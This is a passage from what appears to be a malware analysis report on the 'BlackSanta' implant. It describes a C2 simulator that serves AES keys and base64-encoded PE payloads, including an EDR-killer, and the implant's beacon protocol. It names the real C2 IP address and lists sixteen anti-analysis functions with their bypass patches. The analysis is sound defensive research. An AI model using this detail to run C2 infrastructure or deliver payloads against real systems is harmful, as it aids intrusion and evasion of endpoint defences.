    --ssl-cert c2_cert.pem --ssl-key c2_key.pem

# Serve BlackSanta EDR-killer payload for process hollowing
python3 blacksanta_c2_simulator.py --port 443 --host <LISTEN_IP> \
    --ssl-cert c2_cert.pem --ssl-key c2_key.pem \
    --payload blacksanta_edr_killer.bin -v

# Interactive mode - manually send commands to the implant
python3 blacksanta_c2_simulator.py --port 443 --host <LISTEN_IP> \
    --ssl-cert c2_cert.pem --ssl-key c2_key.pem --interactive

The simulator:

  • HTTPS on port 443/8443 with permissive TLS settings for WinInet compatibility (TLSv1 minimum, SECLEVEL=0 ciphers)
  • Serves the real AES key/IV as plain text on initial beacon (Content-Length: 97, text/plain; charset=windows-1251)
  • Payload delivery via <pre id="pre">BASE64_ENCODED_PE</pre> in HTML — matches the exact format the malware’s base64 decoder expects (14-char offset after <pre)
  • Non-admin path support: serves PE payload on GET /settings.aspx when dbseckey is present without action parameter
  • GET body parsing: handles the malware’s unusual pattern of sending GET requests with HTTP body content
  • Handles action=ping (beacon), action=log (anti-analysis telemetry), and action=getbackup
  • Tracks implant sessions, parses Base64-encoded OS fingerprints
  • Supports interactive command injection (install, update, start, delete, getbackup)
  • Mimics real C2 server headers (nginx/1.24.0, X-AspNet-Version: 4.0.30319, X-Powered-By: ASP.NET)
  • Routes all confirmed endpoints: login.aspx, settings.aspx, main.aspx, company.aspx, contacts.aspx, blog.aspx, about.aspx, download.aspx, upload.aspx
  • Validates PE header (MZ signature) before serving payloads

Payload Response Format

All non-beacon responses wrap data in HTML with <pre id="pre"> tags. The malware’s mw_c2_http_request function searches for <pre and advances exactly 14 characters to reach the data, which matches <pre id="pre"> (14 chars). The data between the tags is base64-encoded and decoded by sub_180007D40 (a custom base64 decoder).

HTTP/1.1 200 OK
Content-Type: text/html; charset=windows-1251
Server: nginx/1.24.0 (Ubuntu)
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<html><head><title>Download Global Main Company LLC.</title></head>
<body><form id="form1" accept-charset="utf-8"><div id="Panel1">
<pre id="pre">TVqQAAMAAAAEAAAA//8AALgA... (base64-encoded PE)</pre>
</div></form></body></html>

Dynamic Analysis Setup

  1. Generate self-signed cert: openssl req -x509 -newkey rsa:2048 -keyout c2_key.pem -out c2_cert.pem -days 365 -nodes -subj '/CN=157.250.202.215'
  2. On the analysis VM, redirect C2 IP 157.250.202.215 to the C2 simulator host using a port proxy or hosts file entry
  3. Start the C2 simulator with HTTPS enabled and optionally serve the EDR-killer payload
  4. In x64dbg, load DWrite.dll via rundll32: init "C:\Windows\System32\rundll32.exe", "\"path\to\DWrite.dll\",DWriteCreateFactory"
  5. At DllEntry breakpoint, patch the 7 anti-analysis conditional jumps in mw_main_orchestrator with NOPs (90) to bypass all environment checks. Also run HideDebugger to bypass IsDebuggerPresent
  6. Continue execution — the malware will beacon to login.aspx, receive the AES key, pass anti-analysis, download PE from settings.aspx, and attempt process hollowing

Confirmed C2 Flow (Non-Admin Path, Dynamically Validated)

C2 Communication Protocol — end-to-end sequence

Figure 17a: C2 simulator panel showing a live beacon from the BlackSanta implant running on an analysis VM. The initial action=ping&mod=load beacon delivers the OS fingerprint (Windows 10 Pro 21H2), and the C2 responds with the AES-256-CBC key/IV. Anti-analysis telemetry reports follow — the malware detected VMware (SMBIOS + adapter) and Wireshark but continued execution because the anti-analysis exit paths were NOP-patched in x64dbg.

C2 simulator panel — live beacon capture


18. Dynamic Analysis Findings Summary

Key findings confirmed through x64dbg dynamic analysis (2026-03-13):

18.1 C2 Protocol Corrections

Finding Static Guess Dynamic Confirmation
C2 transport HTTP (port 80) HTTPS (port 443) — InternetConnectA port = 0x1BB
Initial beacon endpoint settings.aspx login.aspx — decrypted at runtime
Beacon OS fingerprint 5 pipe-delimited fields 3 fields: OSVersion\|Hostname\|Username (Base64-encoded)
Key/IV response format HTML with <pre> tags Plain texttext/plain; charset=windows-1251
Anti-analysis telemetry action=ping&mod=<tag> action=log&data=<base64> — separate action type
Encrypted string count 173+ (estimated) 69 confirmed in .rdata (77 decrypt call sites, some strings reused)
AES key correctness Unknown Verified — all 69 strings decrypt to readable text

18.2 Process Hollowing (Non-Admin Path) — End-to-End Validated

The complete non-admin execution path was validated dynamically with x64dbg breakpoints and a C2 simulator:

Step Detail Evidence
1. Beacon POST /login.aspx with action=ping&mod=load C2 log: request received, key/IV sent
2. Key exchange C2 responds with KEY_HEX\|IV_HEX (97 bytes, plain text) Malware stores key at g_aes256_key (0x180075D00)
3. Anti-analysis 16 functions patched with 31 C0 C3 + __report_gsfailure patched with C3 All checks bypassed, no action=log telemetry sent
4. PE download GET /settings.aspx with dbseckey in body (no action param) C2 log: “Payload download request on settings.aspx (non-admin path)”
5. Response parsing Malware searches for <pre tag, advances 14 chars, base64-decodes content Response format: <pre id="pre">BASE64_PE</pre> (14-char tag)
6. Stage confirmation POST /login.aspx with action=ping&mod=mod4 C2 log: “Module beacon: mod=mod4”
7. Process hollowing mw_process_hollow_with_random_sleep (0x180006C80) called Breakpoint hit, registers inspected
7a. PE payload RCX → msvc_string*: data ptr → valid MZ header, size = 459,776 bytes Matches blacksanta_edr_killer.bin exactly
7b. Command line RDX → msvc_string*: " 157.250.202.215" (C2 IP) Passed to hollowed process as argument

Key discovery: Variant 2 (not Variant 1) on non-admin path. The non-admin path uses mw_process_hollow_with_random_sleep (0x180006C80) — the simpler variant without PPID spoofing to winlogon.exe. This makes sense because without admin privileges, the malware cannot acquire a handle to winlogon.exe. Only the admin-path download endpoints (download.aspx/download1.aspx) use mw_process_hollow_into_winlogon_child (0x1800065F0) via mw_download_and_hollow_via_endpoint1/endpoint2.

18.3 Anti-Analysis Bypass Reference

16 functions require patching (not 7 or 14 as previously stated). Complete list with addresses:

Address Function Category
0x180003C30 mw_check_file_attributes_vm Anti-VM
0x18000BEE0 mw_check_debugger_via_ntquery_peb Anti-Debug
0x18000F310 mw_anti_debug_gate_with_edr_check Anti-Debug + EDR
0x180011030 mw_anti_analysis_check_desktop_file_count Anti-Sandbox
0x180011CE0 mw_check_physical_memory_gb Anti-VM
0x180012600 mw_detect_vm_via_display_adapter Anti-VM
0x180014060 mw_anti_analysis_check_vm_artifacts Anti-VM
0x180015CC0 mw_check_process_running_by_encrypted_name Anti-Analysis
0x180015FD0 mw_check_analysis_tool_running Anti-Analysis
0x180016270 mw_anti_analysis_check_environment Anti-Sandbox
0x180017790 mw_detect_vm_via_smbios_firmware Anti-VM
0x1800194A0 mw_anti_analysis_check_disk_artifacts Anti-Analysis
0x18001A1C0 mw_anti_analysis_check_russian_locale CIS Safeguard
0x18001B340 mw_anti_sandbox_check_hostname_username Anti-Sandbox
0x180006350 mw_check_admin_elevation_and_hosts Privilege Check
0x18000BB10 mw_check_hvci_enabled HVCI Detection

Additional patches:

  • 0x18003D280 (__report_gsfailure) → C3 (ret) — prevents stack cookie crash
  • x64dbg HideDebugger command — patches PEB BeingDebugged flag and related fields

Patch method: At each function start, assemble xor eax, eax (2 bytes: 31 C0) followed by ret (1 byte: C3). This makes each function return 0 immediately, causing all anti-analysis checks to report “not detected”.

Figure 13: Example of the 31 C0 C3 bypass patch applied to mw_anti_debug_gate_with_edr_check (0x18000F310). The xor eax,eax followed by ret at the function entry causes an immediate return of 0 (“not detected”), skipping the original function body visible below.

x64dbg — Anti-analysis bypass patch example